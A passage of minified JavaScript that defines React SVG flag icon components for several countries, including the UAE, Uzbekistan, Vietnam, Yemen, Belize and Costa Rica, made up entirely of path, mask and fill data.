0v.075h.028l.021-.018-.05-.057Zm.189-.167.05-.056-.05-.044-.05.044.05.056Zm.965.092h-.777v.15h.777v-.15Zm.075.258v-.183h-.15v.183h.15Zm.102-.075H4.43v.15h.177v-.15Zm.075.22v-.145h-.15v.145h.15Zm.137-.075h-.212v.15h.212v-.15Zm.075.55V7.61h-.15v.474h.15Zm-.287.074h.212v-.15h-.212v.15Zm.075.071v-.146h-.15v.146h.15Zm-.252.075h.177v-.15H4.43v.15Zm.075.071V8.23h-.15v.146h.15Zm-.831.075h.756v-.15h-.756v.15Zm-.16.167.21-.186-.1-.112-.209.186.1.112Zm-.309-.186.21.186.1-.112-.21-.186-.1.112Zm-.651.02h.7v-.15h-.7v.15Zm-.075-.222v.146h.15V8.23h-.15Zm-.102.075h.177v-.15h-.177v.15Zm-.075-.22v.145h.15v-.146h-.15Zm-.102.074h.177v-.15H2.2v.15Zm-.075-.549v.474h.15V7.61h-.15Zm.252-.075H2.2v.15h.177v-.15Zm-.075-.07v.145h.15v-.145h-.15Zm.252-.075h-.177v.15h.177v-.15Zm-.075-.108v.183h.15v-.183h-.15Zm.797-.075h-.722v.15h.722v-.15Zm.05.132.189-.168-.1-.112-.19.167.1.113Zm.089-.168.188.167.1-.112-.188-.167-.1.112Z"}),(0,s.createElement)("path",{fill:"#C51918",fillRule:"evenodd",d:"M2.658 7.704v-.322h.375l-.375.322Zm1.578 0v-.322h-.375l.375.322Zm-1.578.583v-.322l.375.322h-.375Zm1.578-.322v.322h-.375l.375-.322Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E8AA00",fillRule:"evenodd",d:"m3.323 7.41.129-.17.128.17h-.257Zm0 .158.129.17.128-.17h-.257Zm.129.4-.13.17h.258l-.128-.17Zm-.13.329.13.17.128-.17h-.257Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#AF0100",fillRule:"evenodd",d:"M3.325 7.39v.072h-.074v.1h.074v.073h.26v-.073h.074v-.1h-.074V7.39h-.26Zm.26.801v-.073h-.26v.073h-.074v.1h.074v.073h.26v-.073h.074v-.1h-.074ZM2.827 7.775l.123-.17.122.17h-.245Zm0 .159.123.17.122-.17h-.245Zm1.15-.33-.124.17H4.1l-.122-.17Zm-.124.33.124.17.122-.17h-.246Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E8AA00",fillRule:"evenodd",d:"M2.826 7.754v.074h-.07v.102h.07v.075h.247V7.93h.07v-.102h-.07v-.074h-.247Zm1.274.074v-.074h-.247v.074h-.071v.102h.07v.075H4.1V7.93h.07v-.102H4.1Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"TM_-_Turkmenistan_svg__d",width:3,height:3,x:2,y:8,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"m3.109 8.625-.886.5v.828l.886.52h.959l.907-.52v-.828l-.907-.5h-.96Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#TM_-_Turkmenistan_svg__d)"},(0,s.createElement)("path",{fill:"#E8AA00",d:"M2.235 9.548h1.381v.911h-1.38v-.911Z"}),(0,s.createElement)("path",{fill:"#F9E8E7",d:"M2.094 8.636h1.522v.911H2.094z"}),(0,s.createElement)("path",{fill:"#E8AA00",d:"m2.448 9.168.458-.276v.276h-.458ZM5.138 8.636H3.616v.911h1.522z"}),(0,s.createElement)("path",{fill:"#F9E8E7",d:"m4.678 9.168-.458-.276v.276h.458ZM4.997 10.46H3.616v-.911h1.38z"}),(0,s.createElement)("path",{fill:"#E8AA00",d:"m4.642 9.928-.458.276v-.276h.458Z"}),(0,s.createElement)("path",{fill:"#FCFCFC",d:"m2.448 9.87.458.277V9.87h-.458Z"})),(0,s.createElement)("path",{fill:"#C51918",fillRule:"evenodd",d:"M3.12 9.183h.23l.23-.073.23.073h.23v.693h-.23l-.23.11-.23-.11h-.23v-.693Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#C9343F",fillRule:"evenodd",d:"M3.9 8.769h.124v.14h.051v.1h-.05v.055h-.126v-.295Zm-1.256.437h-.125v.295h.125v-.054h.05v-.1h-.05v-.14Zm.177 0h-.125v.295h.125v-.295Zm-.177.365h-.125v.295h.125v-.054h.05v-.1h-.05v-.141Zm.052 0h.125v.295h-.125V9.57Zm1.77-.365h.125v.141h.05v.1h-.05v.054h-.125v-.295Zm.302 0h-.125v.295h.125v-.295Zm-.177.365h-.125v.295h.125v-.054h.05v-.1h-.05v-.141Zm.052 0h.125v.295h-.125V9.57ZM4.2 8.769h-.125v.295h.125v-.295Zm-1.026 0H3.05v.295h.125V9.01h.05v-.1h-.05v-.141Zm.052 0h.125v.295h-.125v-.295Zm.672 1.24h.125v.14h.051v.1h-.05v.054h-.126v-.295Zm.302 0h-.125v.294h.125v-.295Zm-1.026 0H3.05v.294h.125v-.054h.05v-.1h-.05v-.14Zm.052 0h.125v.294h-.125v-.295Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M3.513 9.333h.035v-.099h-.177v.113h-.146v.163h.136v-.037h-.1v-.09h.12l.18.157-.18.157h-.12v-.09h.1v-.036h-.136v.162h.146v.114h.177v-.1h-.035v.063h-.107v-.087l.184-.16.184.16v.087h-.106v-.062h-.035v.099h.177v-.114h.146v-.162H3.82v.036h.1v.09H3.8l-.18-.157.18-.156h.12v.09h-.1v.036h.136v-.163H3.81v-.113h-.177v.1h.035V9.27h.106v.087l-.184.16-.184-.16v-.087h.107v.062Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E8AA00",fillRule:"evenodd",d:"M3.792 2.4H3.17v2h.623v-2Zm-1.402.423h.39V3.9h-.39V2.823Zm1.83 0h.39V3.9h-.39V2.823Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#389F5D",fillRule:"evenodd",d:"M3.169 2.554h-.39v1.538h.39V2.554Zm-.78.423H2v.73h.39v-.73Zm2.221 0H5v.73h-.39v-.73Zm-.428-.423h-.39v1.538h.39V2.554Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E1E5E8",fillRule:"evenodd",d:"M3.09 2.746a.116.116 0 0 1-.116.116.116.116 0 0 1-.117-.116c0-.064.052-.115.117-.115s.117.051.117.115Zm-.778.385a.116.116 0 0 1-.117.115.116.116 0 0 1-.117-.115c0-.064.052-.116.117-.116.064 0 .117.052.117.116Zm0 .423a.116.116 0 0 1-.117.115.116.116 0 0 1-.117-.115c0-.064.052-.116.117-.116.064 0 .117.052.117.116Zm.662.461a.116.116 0 0 0 .117-.115.116.116 0 0 0-.117-.115.116.116 0 0 0-.117.115c0 .064.052.115.117.115Zm1.831-.769a.116.116 0 0 0 .117-.115.116.116 0 0 0-.117-.116.116.116 0 0 0-.117.116c0 .064.053.115.117.115Zm.117.308a.116.116 0 0 1-.117.115.116.116 0 0 1-.117-.115c0-.064.053-.116.117-.116.065 0 .117.052.117.116Zm-.935.461a.116.116 0 0 0 .117-.115.116.116 0 0 0-.117-.115.116.116 0 0 0-.117.115c0 .064.052.115.117.115Zm.117-1.269a.116.116 0 0 1-.117.116.116.116 0 0 1-.117-.116c0-.064.052-.115.117-.115s.117.051.117.115Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#C51918",fillRule:"evenodd",d:"M3.597 2.592a.116.116 0 0 1-.116.116.116.116 0 0 1-.117-.116c0-.063.052-.115.117-.115.064 0 .116.052.116.115Zm-.896.423a.116.116 0 0 1-.117.116.116.116 0 0 1-.116-.116c0-.063.052-.115.116-.115.065 0 .117.052.117.115Zm.78 1.347a.116.116 0 0 0 .116-.116.116.116 0 0 0-.116-.115.116.116 0 0 0-.117.115c0 .064.052.116.117.116Zm1.051-1.347a.116.116 0 0 1-.116.116.116.116 0 0 1-.117-.116c0-.063.052-.115.117-.115.064 0 .116.052.116.115Zm-1.948.808a.116.116 0 0 0 .117-.115.116.116 0 0 0-.117-.116.116.116 0 0 0-.116.116c0 .063.052.115.116.115Zm1.948-.115a.116.116 0 0 1-.116.115.116.116 0 0 1-.117-.115c0-.064.052-.116.117-.116.064 0 .116.052.116.116Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#C51918",fillRule:"evenodd",d:"m2.803 3.196.38-.343h.615l.433.393h.574V3.4h-.559v.008l-.448.456h-.615l-.38-.412V3.4h-.647v-.154h.647v-.05Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E8AA00",fillRule:"evenodd",d:"m3.505 3.138.185.187-.194.183-.193-.183.184-.187.01-.008.008.008Zm.034.451.022-.02-.023-.02.192-.183.2.203-.09.095h-.053l-.1.063-.148-.138Zm-.043.04-.184.17-.124-.077h-.061l-.146-.154.239-.242-.24-.227.157-.153.058.044.082-.083-.025-.025.042-.04.202.204.202-.205.042.04-.025.026.083.083.057-.044.158.153-.24.227.238.242-.145.154h-.062l-.123.077-.185-.17ZM3.6 3.15l.003-.003-.056-.051-.007-.007.144-.133.11.111.058-.045.078.075-.197.187-.133-.134Zm-.123.418-.171.158-.1-.063h-.053l-.09-.095.2-.203.214.203Zm-.413-.47.198.186.192-.195-.144-.133-.11.111-.058-.045-.078.075ZM2.224 10.72c-.104-.132-.175-.221-.193-.22-.059.004-.113.622.645 1.092 0 0 .112.062.177 0 .065-.062 0-.154 0-.154a6.621 6.621 0 0 1-.629-.717Zm2.552 0c.104-.132.175-.221.193-.22.059.004.113.622-.645 1.092 0 0-.112.062-.177 0-.065-.062 0-.154 0-.154.245-.23.474-.52.629-.717Zm-.056.832c-.249.074-.537.089-.648.041a.637.637 0 0 0-.112-.036 1.008 1.008 0 0 0-.343-.011l-.05.006a.336.336 0 0 1-.02.002.108.108 0 0 0-.025.003.108.108 0 0 0-.025-.003l-.02-.002-.05-.006a1.008 1.008 0 0 0-.344.011.636.636 0 0 0-.111.036c-.11.048-.4.033-.649-.041 0 0 .454.182.723.101a.479.479 0 0 1 .083-.026.774.774 0 0 1 .25-.01c-.04.018-.087.04-.14.06v.023c.106-.043.23-.063.283-.07.053.007.177.027.283.07v-.022a2.952 2.952 0 0 1-.14-.062.774.774 0 0 1 .25.01.479.479 0 0 1 .083.027c.269.08.722-.101.722-.101Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#389F5D",fillRule:"evenodd",d:"m2.882 4.989-.626.551v.526l.547.55h1.118l.616-.587v-.447l-.616-.593H2.882Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#C51918",fillRule:"evenodd",d:"M3.097 5.047h-.141v.11h.141v-.11Zm0 1.43h-.141v.11h.141v-.11Zm.213 0h.141v.11H3.31v-.11Zm.141-1.43H3.31v.11h.141v-.11Zm.213 1.43h.141v.11h-.141v-.11Zm.141-1.43h-.141v.11h.141v-.11Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E8AA00",fillRule:"evenodd",d:"M3.277 5.019h-.144v.11h.144v-.11Zm0 1.458h-.144v.11h.144v-.11Zm.216-1.458h.144v.11h-.144v-.11Zm.144 1.458h-.144v.11h.144v-.11Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#750100",fillRule:"evenodd",d:"M2.457 4.921h1.89v.292h.27V6.42h-.27v.25h-1.89v-.25h-.294V5.213h.294v-.292Zm.106.401h-.294v.99h.294v.249h1.678v-.25h.27v-.989h-.27V5.03H2.563v.292Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#389F5D",fillRule:"evenodd",d:"M3.204 4.8h-.177v.182h.176V4.8Zm.283 0H3.31v.182h.177V4.8Zm.106 0h.177v.182h-.177V4.8Zm-.39 1.823h-.176v.182h.176v-.182Zm.107 0h.177v.182H3.31v-.182Zm.46 0h-.177v.182h.177v-.182Zm-1.773-.404v-.177h.183v.177h-.183Zm0-.468v.177h.183V5.75h-.183Zm0-.115v-.177h.183v.177h-.183Zm2.549.406v.177h.182v-.177h-.182Zm0-.114V5.75h.182v.177h-.182Zm0-.47v.178h.182v-.177h-.182Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#C51918",fillRule:"evenodd",d:"m2.89 5.142-.306.266v.859l.253.18h1.099l.252-.18v-.86l-.285-.265H2.889Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E1E5E8",fillRule:"evenodd",d:"m3.402 5.498-.369.315h.369v-.315Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E8AA00",d:"m3.402 6.099-.369-.315h.369v.315Z"}),(0,s.createElement)("path",{fill:"#E8AA00",fillRule:"evenodd",d:"m3.37 5.498.368.315H3.37v-.315Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#29AE66",fillRule:"evenodd",d:"M3.386 5.898a.112.112 0 1 0 0-.223.112.112 0 0 0 0 .223Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E1E5E8",d:"m3.37 6.099.368-.315H3.37v.315Z"}),(0,s.createElement)("path",{fill:"#C51918",fillRule:"evenodd",d:"M2.602 5.675h-.319v.102h.319v-.102Zm0 .186h-.319v.102h.319v-.102Zm1.593-.186h.318v.102h-.318v-.102Zm.318.186h-.318v.102h.318v-.102Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E8AA00",fillRule:"evenodd",d:"M2.566 5.566h-.283v.111h.283v-.111Zm0 .186h-.283v.111h.283v-.111Zm-.283.186h.283v.111h-.283v-.111Zm2.195-.372h-.283v.111h.283v-.111Zm-.283.186h.283v.111h-.283v-.111Zm.283.186h-.283v.111h.283v-.111ZM4.993.795 4.99.998H3.512l-.001.92h-.464c-.08 0-.303-.156-.303-.156h-.377l-.174-.177v-.179l-.186-.221V.982h1.48l.001-.92h.464c.081 0 .303.155.303.155h.377l.174.178v.179l.187.221Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E1E5E8",fillRule:"evenodd",d:"M2.007.795v.203h1.48l.001.92h.464c.081 0 .303-.156.303-.156h.377l.174-.177v-.179l.187-.221L4.99.982H3.512l-.001-.92h-.464c-.08 0-.303.155-.303.155h-.377l-.174.178v.179l-.186.221Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#C51918",fillRule:"evenodd",d:"M3.001.343 2.985.264l.32-.073C3.341.173 3.408.12 3.5.034l.043.049.008-.009c.091.086.158.139.196.157l.32.073-.017.079-.177-.037.017.015a.22.22 0 0 0-.04.032l-.074-.01.007-.026-.02-.003a.85.85 0 0 0-.045.11L3.643.442l.03-.145L3.504.14 3.386.25c.015.013.03.029.044.046a.705.705 0 0 1-.036.013H3.39l.02.093-.075.022a1.117 1.117 0 0 0-.028-.072l-.007.001a.22.22 0 0 0-.04-.032l.022-.019a.185.185 0 0 0-.01-.015l-.27.056Zm.013.286.043-.067-.22-.148L2.86.38 2.798.333 2.771.37 2.684.312 2.64.379l.084.056-.017.024.063.048.02-.028.223.15Zm-.272.08.042-.067-.22-.148.024-.034-.063-.047-.027.038-.087-.059-.043.067.084.056-.017.024.063.048.02-.028.224.15Zm-.117.24.042-.067-.22-.148L2.47.7 2.41.653 2.382.69 2.294.632l-.043.067.084.056-.017.024.063.048.02-.028.224.15Zm.003.192-.042-.067-.224.15-.02-.027-.063.047.017.024-.083.056.042.067.088-.058.027.038.062-.048-.024-.034.22-.148Zm.075.173.042.067-.22.148.024.034-.062.048-.028-.038-.087.058-.043-.067.084-.056-.017-.024.063-.047.02.027.224-.15Zm.272.08.043.067-.22.148.024.034-.063.048-.027-.038-.087.058-.043-.067.084-.056-.017-.024.063-.047.02.027.223-.15Zm.416.383a.7.7 0 0 0-.036-.013L3.34 1.76l.03-.139-.075-.022a.603.603 0 0 1-.063.137l-.27-.055-.016.078.308.07v.001l.044.03.006-.004c.039.027.092.072.158.133l.025-.028.025.028c.091-.085.158-.138.196-.157l.01-.002a.31.31 0 0 0 .041.03l.045-.03-.005-.015.005-.005.223-.051-.016-.078-.27.055A.602.602 0 0 1 3.68 1.6l-.075.022.03.145-.147.138-.114-.107a.542.542 0 0 0 .018-.02Zm.954-.636.043-.067.224.15.02-.027.062.047-.017.024.084.056-.043.067-.087-.058-.027.038-.063-.048.024-.034-.22-.148Zm-.117.24.043-.067.224.15.02-.027.062.047-.017.024.084.056-.043.067-.087-.058-.027.038-.063-.048.024-.034-.22-.148Zm-.273.08.043-.067.224.15.02-.027.063.047-.018.024.084.056-.042.067-.088-.058-.027.038-.063-.048.025-.034-.22-.148Zm.429-.539.043.067.224-.15.02.028.062-.048-.017-.024L4.8.74 4.757.672 4.67.731 4.643.693 4.58.74l.024.034-.22.148Zm-.117-.24L4.31.75 4.534.6l.02.028.062-.048L4.6.555 4.683.5 4.64.432l-.087.059-.027-.038L4.463.5l.024.034-.22.148Zm-.273-.08.043.067.224-.15.02.028.063-.048-.018-.024L4.41.42 4.368.352 4.28.411 4.253.373 4.19.42l.025.034-.22.148Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#C51918",fillRule:"evenodd",d:"m3.104.577.441-.234v.64h1.091l-.26.187v.245h-.411l-.442.234v-.64h-1.09l.26-.188V.577h.41Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#29AE66",fillRule:"evenodd",d:"M3.965.577 3.523.343v.64h-1.09l.26.187v.245h.41l.442.234v-.64h1.091L4.376.82V.577h-.411Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#29AE66",fillRule:"evenodd",d:"M2.89.742 2.962.6l.183.098.05-.075.128.091-.039.059.542.29.034-.05.128.091-.023.033.059.032-.072.142-.076-.04-.061.09-.129-.09.05-.075-.541-.29-.045.066L3.022.88l.034-.05L2.89.742Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#C51918",fillRule:"evenodd",d:"M4.045.703 3.963.567l-.176.11-.055-.071-.122.1.043.055-.52.327-.037-.047-.122.1.025.032-.056.035.082.136.072-.045.068.087.122-.1-.056-.071.52-.327.05.062.121-.1-.037-.046.16-.1Z",clipRule:"evenodd"})),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M9.537 1s1.165 2.76.13 3.933C8.632 6.106 6 5.88 6 5.88s3.378 1.526 4.85-.575C12.322 3.204 9.537 1 9.537 1Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"m7.422 2.624-.308.217.109-.363-.3-.23.376-.008.123-.358.123.358.376.008-.3.23.11.363-.309-.217Zm.06 1.003-.309.217.11-.364-.3-.23.375-.007.124-.359.123.359.376.008-.3.23.109.363-.308-.217Zm-1.246.294.309-.217.308.217-.109-.363.3-.23-.376-.008-.123-.358-.124.358-.375.008.299.23-.109.363Zm1.246.758-.309.217.11-.364-.3-.23.375-.007.124-.36.123.36.376.008-.3.229.109.364-.308-.217Zm.71-1.142.309-.217.308.217-.109-.363.3-.23-.376-.007-.123-.36-.124.36-.375.007.299.23-.109.363Z",clipRule:"evenodd"})))),ht=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"AE_-_United_Arab_Emirates_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#AE_-_United_Arab_Emirates_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0h16v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#5EAA22",fillRule:"evenodd",d:"M0 0v4h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#272727",fillRule:"evenodd",d:"M0 8v4h16V8H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E31D1C",d:"M0 0h5v12H0z"}))),vt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"UZ_-_Uzbekistan_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#UZ_-_Uzbekistan_svg__a)"},(0,s.createElement)("path",{fill:"#14DC5A",fillRule:"evenodd",d:"M0 8h16v4H0V8Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#0099B5",fillRule:"evenodd",d:"M0 0h16v5H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F7FCFF",stroke:"#C51918",strokeWidth:.75,d:"M-1 4.625h-.375v3.75h18.75v-3.75H-1Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"m8.364 1.2-.492.28.14-.567-.47-.417h.615l.206-.536.242.536h.524l-.412.417.198.566-.551-.279Zm-2.52 1.538.492-.28.551.28-.198-.567.412-.416h-.524l-.242-.536-.206.536h-.615l.471.416-.14.567ZM4.489 3.777l-.491.278.14-.566-.47-.417h.614l.207-.536.241.536h.524l-.411.417.198.566-.552-.278Zm1.876.002-.49.278.14-.566-.471-.416h.614l.207-.536.241.536h.524l-.411.416.198.566-.552-.278Zm2 0-.49.278.14-.566-.471-.416h.614l.207-.536.241.536h.524l-.411.416.198.566-.552-.278Zm-.52-1.041.492-.28.551.28-.198-.567.412-.416h-.524l-.242-.536-.206.536h-.615l.471.416-.14.567Zm2.03 1.32.49-.28.552.28-.198-.567.412-.416h-.525l-.241-.536-.207.536h-.614l.47.416-.14.566Zm.462-1.6-.491.28.14-.567-.47-.416h.614l.206-.536.242.536h.524l-.412.416.198.567-.55-.28Zm-.464-.979.492-.279.551.28-.198-.567.412-.417h-.524l-.242-.536-.206.536h-.615l.47.417-.14.566Zm2.492 2.3-.49.278.14-.566-.471-.416h.615l.206-.536.241.536h.524l-.411.416.198.566-.552-.278Zm-.52-1.041.492-.28.551.28-.198-.567.412-.416h-.524l-.242-.536-.206.536h-.615l.471.416-.14.567Zm.52-1.538-.492.28.14-.567-.47-.417h.615l.206-.536.242.536h.524l-.412.417.198.566-.551-.279ZM2.942 4.12s-1.207-.327-1.185-1.54C1.78 1.37 3 1.056 3 1.056c-.498-.19-1.972.064-2 1.514-.027 1.45 1.478 1.735 1.942 1.551Z",clipRule:"evenodd"}))),ut=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"VN_-_Vietnam_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#VN_-_Vietnam_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0h16v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"VN_-_Vietnam_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#VN_-_Vietnam_svg__b)"},(0,s.createElement)("path",{fill:"#FFD221",fillRule:"evenodd",d:"M8.031 7.99 5.456 9.627l.863-2.866-1.837-1.873 2.533-.055 1.12-2.83L9.157 4.87l2.526.044-1.899 1.907.887 2.727-2.64-1.558Z",clipRule:"evenodd"})))),_t=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"YE_-_Yemen_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#YE_-_Yemen_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"YE_-_Yemen_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#YE_-_Yemen_svg__b)"},(0,s.createElement)("path",{fill:"#E31D1C",d:"M0 0v4h16V0H0Z"}),(0,s.createElement)("path",{fill:"#272727",d:"M0 8v4h16V8H0Z"})))),pt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"BZ_-_Belize_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#BZ_-_Belize_svg__a)"},(0,s.createElement)("path",{fill:"#0168B4",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"BZ_-_Belize_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#BZ_-_Belize_svg__b)"},(0,s.createElement)("path",{fill:"#E93C43",fillRule:"evenodd",d:"M0 0v2h16V0H0ZM0 10v2h16v-2H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"M8 9a3 3 0 1 1 0-6 3 3 0 0 1 0 6Z"}),(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M4.5 6a3.5 3.5 0 1 0 7 0 3.5 3.5 0 0 0-7 0ZM11 6a3 3 0 1 1-6 0 3 3 0 0 1 6 0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#5B8C39",fillRule:"evenodd",d:"M5 6a3 3 0 1 0 6 0 3 3 0 0 0-6 0Zm5.3 0a2.3 2.3 0 1 1-4.6 0 2.3 2.3 0 0 1 4.6 0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#5B8C39",fillRule:"evenodd",d:"m6.5 7 1.47-.188L9.5 7v.5l-1.53-.188L6.5 7.5V7Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#769DF1",fillRule:"evenodd",d:"M7 5h2s.141 3-1 3-1-3-1-3Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FECA00",d:"M8 5h1v1H8z"}),(0,s.createElement)("path",{fill:"#F6F7F8",d:"M7 5h1v1H7z",opacity:.6}),(0,s.createElement)("rect",{width:2,height:1,x:7,y:4,fill:"#5B8C39",opacity:.66,rx:.5}),(0,s.createElement)("path",{fill:"#E9AD35",fillRule:"evenodd",d:"M6.9 6.4c.276 0 .5-.448.5-1s-.224-1-.5-1-.5.448-.5 1 .224 1 .5 1Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#5C2216",fillRule:"evenodd",d:"M9.1 6.4c.276 0 .5-.448.5-1s-.224-1-.5-1-.5.448-.5 1 .224 1 .5 1Z",clipRule:"evenodd"})))),ft=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"CR_-_Costa_Rica_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#CR_-_Costa_Rica_svg__a)"},(0,s.createElement)("path",{fill:"#2E42A5",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"CR_-_Costa_Rica_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#CR_-_Costa_Rica_svg__b)"},(0,s.createElement)("path",{fill:"#E31D1C",stroke:"#F7FCFF",strokeWidth:2,d:"M0 4h-1v4h18V4H0Z"})))),gt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"SV_-_El_Salvador_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#SV_-_El_Salvador_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"SV_-_El_Salvador_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#SV_-_El_Salvador_svg__b)"},(0,s.createElement)("path",{fill:"#3D58DB",fillRule:"evenodd",d:"M0 0v4h16V0H0ZM0 